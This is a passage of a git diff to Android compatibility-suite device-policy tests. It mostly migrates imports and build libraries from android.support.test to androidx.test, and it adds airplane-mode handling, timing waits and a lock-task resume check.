 
 import org.junit.Before;
 import org.junit.Test;
@@ -29,12 +37,6 @@
 import java.util.Collections;
 import java.util.Set;
 
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertFalse;
-import static junit.framework.Assert.assertTrue;
-import static junit.framework.Assert.fail;
-import static org.junit.Assert.assertArrayEquals;
-
 @RunWith(AndroidJUnit4.class)
 public class AffiliationTest {
 
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
index 9175d9b..c19e25d 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
@@ -18,10 +18,11 @@
 import android.app.Instrumentation;
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
-import android.support.test.InstrumentationRegistry;
 import android.support.test.uiautomator.UiDevice;
 import android.test.AndroidTestCase;
 
+import androidx.test.InstrumentationRegistry;
+
 /**
  * Base class for device-owner based tests.
  *
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
old mode 100644
new mode 100755
index bbe6855..0280bdf
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
@@ -379,6 +379,8 @@
         localBroadcastManager.registerReceiver(broadcastReceiver,
                 new IntentFilter(BasicAdminReceiver.ACTION_USER_STOPPED));
 
+        Thread.sleep(USER_SWITCH_DELAY);
+
         try {
             assertEquals(UserManager.USER_OPERATION_SUCCESS,
                     mDevicePolicyManager.stopUser(getWho(), userHandle));
@@ -409,8 +411,13 @@
 
         LocalBroadcastReceiver broadcastReceiver = new LocalBroadcastReceiver();
         localBroadcastManager.registerReceiver(broadcastReceiver,
-                new IntentFilter(BasicAdminReceiver.ACTION_USER_REMOVED));
+                new IntentFilter(BasicAdminReceiver.ACTION_USER_STARTED));
+        broadcastReceiver.waitForBroadcastReceived();
+        localBroadcastManager.unregisterReceiver(broadcastReceiver);
 
+        // Register broadcast receiver for the remove action.
+        localBroadcastManager.registerReceiver(broadcastReceiver,
+                new IntentFilter(BasicAdminReceiver.ACTION_USER_REMOVED));
         try {
             assertEquals(UserManager.USER_OPERATION_SUCCESS,
                     mDevicePolicyManager.stopUser(getWho(), userHandle));
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
index 1d6105d..99b97bd 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
@@ -20,15 +20,18 @@
 
 import android.app.ActivityManager;
 import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.support.test.uiautomator.UiDevice;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -45,6 +48,8 @@
 
     private static final String TAG = LockTaskHostDrivenTest.class.getName();
 
+    private static final int ACTIVITY_RESUMED_TIMEOUT_MILLIS = 20000;  // 20 seconds
+
     private static final String LOCK_TASK_ACTIVITY
             = LockTaskUtilityActivityIfWhitelisted.class.getName();
 
@@ -53,14 +58,45 @@
     private ActivityManager mActivityManager;
     private DevicePolicyManager mDevicePolicyManager;
 
+    private volatile boolean mIsActivityResumed;
+    private final Object mActivityResumedLock = new Object();
+
+    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            String action = intent.getAction();
+            Log.d(TAG, "onReceive: " + action);
+            if (LockTaskUtilityActivity.RESUME_ACTION.equals(action)) {
+                synchronized (mActivityResumedLock) {
+                    mIsActivityResumed = true;
+                    mActivityResumedLock.notify();
+                }
+            } else if (LockTaskUtilityActivity.PAUSE_ACTION.equals(action)) {
+                synchronized (mActivityResumedLock) {
+                    mIsActivityResumed = false;
+                    mActivityResumedLock.notify();
+                }
+            }
+        }
+    };
+
     @Before
     public void setUp() {
         mContext = InstrumentationRegistry.getContext();
         mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
         mActivityManager = mContext.getSystemService(ActivityManager.class);
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(LockTaskUtilityActivity.RESUME_ACTION);
+        filter.addAction(LockTaskUtilityActivity.PAUSE_ACTION);
+        mContext.registerReceiver(mReceiver, filter);
     }
 
+    @After
+    public void tearDown() {
+        mContext.unregisterReceiver(mReceiver);
+    }
+  
     @Test
     public void startLockTask() throws Exception {
         Log.d(TAG, "startLockTask on host-driven test (no cleanup)");
@@ -77,6 +113,13 @@
     public void testLockTaskIsActiveAndCantBeInterrupted() throws Exception {
         mUiDevice.waitForIdle();
 
+        // We need to wait until the LockTaskActivity is ready
+        // since com.android.cts.deviceowner can be killed by AMS for reason "start instr".
+        synchronized (mActivityResumedLock) {
+            if (!mIsActivityResumed) {
+                mActivityResumedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
+            }
+        }
         checkLockedActivityIsRunning();
 
         mUiDevice.pressBack();
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java
index 59c4ff5..6cfec10 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java
@@ -26,9 +26,9 @@
 import static junit.framework.Assert.assertEquals;
 import static junit.framework.Assert.assertFalse;
 import static junit.framework.Assert.assertTrue;
-import static org.testng.Assert.assertThrows;
 
 import static org.junit.Assert.assertArrayEquals;
+import static org.testng.Assert.assertThrows;
 
 import android.app.ActivityManager;
 import android.app.ActivityOptions;
@@ -39,10 +39,11 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
index e727d56..a7a08e5 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
@@ -22,10 +22,11 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
-import android.support.test.InstrumentationRegistry;
-import androidx.localbroadcastmanager.content.LocalBroadcastManager;
 import android.util.Log;
 
+import androidx.localbroadcastmanager.content.LocalBroadcastManager;
+import androidx.test.InstrumentationRegistry;
+
 import java.io.BufferedReader;
 import java.io.IOException;
 import java.io.InputStreamReader;
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SecurityLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SecurityLoggingTest.java
index 5f537a3..191c1bd 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SecurityLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SecurityLoggingTest.java
@@ -65,7 +65,8 @@
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyProperties;
 import android.security.keystore.KeyProtection;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
 
 import com.google.common.collect.ImmutableMap;
 import com.google.common.collect.ImmutableSet;
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SystemUpdatePolicyTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SystemUpdatePolicyTest.java
index 4fa6235..e5598bb 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SystemUpdatePolicyTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SystemUpdatePolicyTest.java
@@ -15,6 +15,7 @@
  */
 package com.android.cts.deviceowner;
 
+import static android.provider.Settings.Global.AIRPLANE_MODE_ON;
 
 import android.app.admin.DevicePolicyManager;
 import android.app.admin.FreezePeriod;
@@ -27,12 +28,17 @@
 import android.icu.util.Calendar;
 import android.provider.Settings;
 import android.provider.Settings.Global;
+import android.util.Log;
 import android.util.Pair;
 
+import android.provider.Settings;
+import android.provider.Settings.Global;
+
 import java.time.LocalDate;
 import java.time.MonthDay;
 import java.util.ArrayList;
 import java.util.List;
+import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
@@ -42,7 +48,10 @@
  */
 public class SystemUpdatePolicyTest extends BaseDeviceOwnerTest {
 
+    private static final String TAG = "SystemUpdatePolicyTest";
+
     private static final int TIMEOUT_MS = 20_000;
+    private static final int TIMEOUT_SEC = 5;
 
     private final Semaphore mPolicyChangedSemaphore = new Semaphore(0);
     private final Semaphore mTimeChangedSemaphore = new Semaphore(0);
@@ -61,6 +70,7 @@
     private int mSavedAutoTimeConfig;
     private LocalDate mSavedSystemDate;
     private boolean mRestoreDate;
+    private int mSavedAirplaneMode;
 
     @Override
     protected void setUp() throws Exception {
@@ -75,6 +85,12 @@
         executeShellCommand("settings put global auto_time 0");
         mSavedSystemDate = LocalDate.now();
         mRestoreDate = false;
+        mSavedAirplaneMode = getAirplaneMode();
+        Log.i(TAG, "Before testing, AIRPLANE_MODE is set to: " + mSavedAirplaneMode);
+        if (mSavedAirplaneMode == 0) {
+            // No need to set mode if AirplaneMode is 1 or error.
+            setAirplaneModeAndWaitBroadcast(1);
+        }
     }
 
     @Override
@@ -89,6 +105,10 @@
         // This needs to happen last since setSystemDate() relies on the receiver for
         // synchronization.
         mContext.unregisterReceiver(policyChangedReceiver);
+        if (mSavedAirplaneMode == 0) {
+            // Restore AirplaneMode value.
+            setAirplaneModeAndWaitBroadcast(0);
+        }
         super.tearDown();
     }
 
@@ -341,4 +361,42 @@
             fail("Interrupted while waiting for broadcast.");
         }
     }
+
+    private int getAirplaneMode() throws Settings.SettingNotFoundException {
+        int airplaneMode = 0xFF;
+        try {
+            airplaneMode = Settings.Global.getInt(mContext.getContentResolver(),
+                Settings.Global.AIRPLANE_MODE_ON);
+        } catch (Settings.SettingNotFoundException e) {
+            airplaneMode = 0xFF;
+            // if the mode is not supported, return a non zero value.
+            Log.i(TAG, "Airplane mode is not found in Settings. Skipping AirplaneMode update");
+        } finally {
+            return airplaneMode;
+        }
+    }
+
+    private boolean setAirplaneModeAndWaitBroadcast (int state) throws Exception {
+        Log.i(TAG, "setAirplaneModeAndWaitBroadcast setting state(0=disable, 1=enable): " + state);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        BroadcastReceiver receiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                Log.i(TAG, "Received broadcast for AirplaneModeUpdate");
+                latch.countDown();
+            }
+        };
+        mContext.registerReceiver(receiver, new IntentFilter(Intent.ACTION_AIRPLANE_MODE_CHANGED));
+        try {
+            Settings.Global.putInt(mContext.getContentResolver(), AIRPLANE_MODE_ON, state);
+            if (!latch.await(TIMEOUT_SEC, TimeUnit.SECONDS)) {
+                Log.d(TAG, "Failed to receive broadcast in " + TIMEOUT_SEC + "sec");
+                return false;
+            }
+        } finally {
+            mContext.unregisterReceiver(receiver);
+        }
+        return true;
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
index 60395c2..1bd898d 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
@@ -28,7 +28,8 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     androidx.legacy_legacy-support-v4 \
-    ctstestrunner
+    ctstestrunner-axt \
+    compatibility-device-util-axt
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml b/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml
index 84c5de6..22614fe 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml
@@ -71,7 +71,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.intent.receiver"
         android:label="Intent Receiver CTS Tests" />
 
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/ClearApplicationDataTest.java b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/ClearApplicationDataTest.java
index 0d2a990..e132a25 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/ClearApplicationDataTest.java
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/ClearApplicationDataTest.java
@@ -21,8 +21,9 @@
 
 import android.content.Context;
 import android.content.SharedPreferences;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java
index f305e86..5e4fb07 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java
@@ -23,6 +23,8 @@
 import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
 import android.test.InstrumentationTestCase;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 import java.lang.InterruptedException;
@@ -42,6 +44,7 @@
     // We can't just register a broadcast receiver in the code because the broadcast
     // may have been sent before this test is run. So we have a manifest receiver
     // listening to the broadcast and writing to a shared preference when it receives it.
+    @CddTest(requirement="3.2.3.4/C-0-1")
     public void testOwnerChangedBroadcastReceived() throws InterruptedException {
         final Semaphore mPreferenceChanged = new Semaphore(0);
 
diff --git a/hostsidetests/devicepolicy/app/IntentSender/Android.mk b/hostsidetests/devicepolicy/app/IntentSender/Android.mk
index 5cc3b7a..196e192 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/Android.mk
+++ b/hostsidetests/devicepolicy/app/IntentSender/Android.mk
@@ -29,7 +29,7 @@
 LOCAL_USE_AAPT2 := true
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-	ctstestrunner \
+	ctstestrunner-axt \
 	ub-uiautomator
 
 LOCAL_STATIC_ANDROID_LIBRARIES := \
diff --git a/hostsidetests/devicepolicy/app/IntentSender/AndroidManifest.xml b/hostsidetests/devicepolicy/app/IntentSender/AndroidManifest.xml
index 6562b29..59f9a9c 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/IntentSender/AndroidManifest.xml
@@ -52,7 +52,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.intent.sender"
         android:label="Intent Sender CTS Tests" />
 
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk b/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
index 0475e30..131aee1 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
+++ b/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
@@ -28,9 +28,9 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES = \
 	androidx.legacy_legacy-support-v4 \
-	ctstestrunner \
-	android-support-test \
-	compatibility-device-util \
+	ctstestrunner-axt \
+	androidx.test.rules \
+	compatibility-device-util-axt \
 	ShortcutManagerTestUtils \
 	testng
 
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/AndroidManifest.xml b/hostsidetests/devicepolicy/app/LauncherTests/AndroidManifest.xml
index abf4c52..cc87b4f 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/LauncherTests/AndroidManifest.xml
@@ -23,7 +23,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.cts.launchertests"
                      android:label="Launcher Apps CTS Tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
index e8a1291..afb97f9 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
+++ b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
@@ -35,9 +35,10 @@
 import android.os.Messenger;
 import android.os.UserHandle;
 import android.os.UserManager;
-import android.support.test.InstrumentationRegistry;
 import android.test.AndroidTestCase;
 
+import androidx.test.InstrumentationRegistry;
+
 import java.util.List;
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java
index 0349594..9e5f05d 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java
+++ b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java
@@ -30,11 +30,12 @@
 import android.os.Bundle;
 import android.os.UserHandle;
 import android.os.UserManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.support.test.uiautomator.UiDevice;
 import android.text.TextUtils;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.BlockingBroadcastReceiver;
 
 import org.junit.After;
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk b/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
index 6a02fd1..5e4a575 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
@@ -29,10 +29,10 @@
 LOCAL_USE_AAPT2 := true
 
 LOCAL_STATIC_JAVA_LIBRARIES = \
-	ctstestrunner \
-	compatibility-device-util \
+	ctstestrunner-axt \
+	compatibility-device-util-axt \
 	ub-uiautomator \
-	android-support-test \
+	androidx.test.rules \
 	guava
 
 LOCAL_STATIC_ANDROID_LIBRARIES := \
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
index 58e232b..76e872f 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
@@ -200,7 +200,7 @@
 
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.cts.managedprofile"
                      android:label="Managed Profile CTS Tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DummyConnectionService.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DummyConnectionService.java
index b00e0a4..7579cf7 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DummyConnectionService.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DummyConnectionService.java
@@ -126,7 +126,7 @@
     }
 
     /**
-     * Hang up the call after 1 second in a background thread.
+     * Hang up the call after 5 second in a background thread.
      * TODO: It is better if we could have a callback to know when we can disconnect the call.
      */
     private static void hangUpAsync(final Connection connection) {
@@ -135,7 +135,7 @@
             @Override
             public void run() {
                 try {
-                    Thread.sleep(1000);
+                    Thread.sleep(5000);
                     connection.setDisconnected(new DisconnectCause(cause));
                 } catch (InterruptedException ex) {
                     // let it be
@@ -143,4 +143,4 @@
             }
         }).start();
     }
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ManagedProfileTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ManagedProfileTest.java
index a21d9e6..91f2046 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ManagedProfileTest.java
@@ -15,15 +15,16 @@
  */
 package com.android.cts.managedprofile;
 
+import static com.android.cts.managedprofile.BaseManagedProfileTest.ADMIN_RECEIVER_COMPONENT;
+
 import android.app.admin.DevicePolicyManager;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.pm.PackageManager;
-import android.support.test.InstrumentationRegistry;
 import android.test.ActivityInstrumentationTestCase2;
 
-import static com.android.cts.managedprofile.BaseManagedProfileTest.ADMIN_RECEIVER_COMPONENT;
+import androidx.test.InstrumentationRegistry;
 
 /**
  * Test for {@link DevicePolicyManager#addCrossProfileIntentFilter} API.
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NotificationListenerTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NotificationListenerTest.java
index 6986c39..ea06ef9 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NotificationListenerTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NotificationListenerTest.java
@@ -18,10 +18,6 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
-import android.app.Notification;
-import android.app.NotificationChannel;
-import android.app.NotificationManager;
-import android.app.UiAutomation;
 import android.app.admin.DevicePolicyManager;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
@@ -29,12 +25,13 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
 import android.support.test.uiautomator.UiDevice;
-import androidx.localbroadcastmanager.content.LocalBroadcastManager;
 import android.util.Log;
 
+import androidx.localbroadcastmanager.content.LocalBroadcastManager;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserTest.java
index 4163ba8..0a7e7f9 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserTest.java
@@ -20,7 +20,8 @@
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.test.ActivityInstrumentationTestCase2;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
 
 /**
  * Test for {@link DevicePolicyManager#addCrossProfileIntentFilter} API, for
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java
index 23de823..8cf156b 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java
@@ -21,6 +21,7 @@
 import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
 import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_KEEP_ACCOUNT_ON_MIGRATION;
 import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_SKIP_ENCRYPTION;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
@@ -35,11 +36,13 @@
 import android.content.Intent;
 import android.content.SharedPreferences;
 import android.os.PersistableBundle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+
 import com.android.compatibility.common.util.devicepolicy.provisioning.SilentProvisioningTestManager;
+
 import org.junit.Before;
 import org.junit.Test;
 
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/SanityTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/SanityTest.java
index 683d465..6a8b87a 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/SanityTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/SanityTest.java
@@ -15,19 +15,20 @@
  */
 package com.android.cts.managedprofile;
 
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertNotNull;
+
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.BlockingBroadcastReceiver;
 
 import org.junit.Before;
 import org.junit.Test;
 
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertNotNull;
-
 /**
  * Basic sanity test to ensure some basic functionalities of work profile are working.
  */
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataWithReasonVerificationTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataWithReasonVerificationTest.java
index 3b35cb4..077fbd3 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataWithReasonVerificationTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataWithReasonVerificationTest.java
@@ -1,12 +1,13 @@
 package com.android.cts.managedprofile;
 
-import android.support.test.InstrumentationRegistry;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObjectNotFoundException;
 import android.support.test.uiautomator.Until;
 import android.test.AndroidTestCase;
 
+import androidx.test.InstrumentationRegistry;
+
 /**
  * Test wipeDataWithReason() has indeed shown the notification.
  * The function wipeDataWithReason() is called and executed in another test.
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk b/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
index a1514ff..1d4f8ae 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
@@ -28,7 +28,7 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     androidx.legacy_legacy-support-v4 \
-    ctstestrunner \
+    ctstestrunner-axt \
     ub-uiautomator
 
 LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/AndroidManifest.xml b/hostsidetests/devicepolicy/app/PackageInstaller/AndroidManifest.xml
index 4b69ba6..f4dfcaf 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/AndroidManifest.xml
@@ -38,7 +38,7 @@
     </application>
 
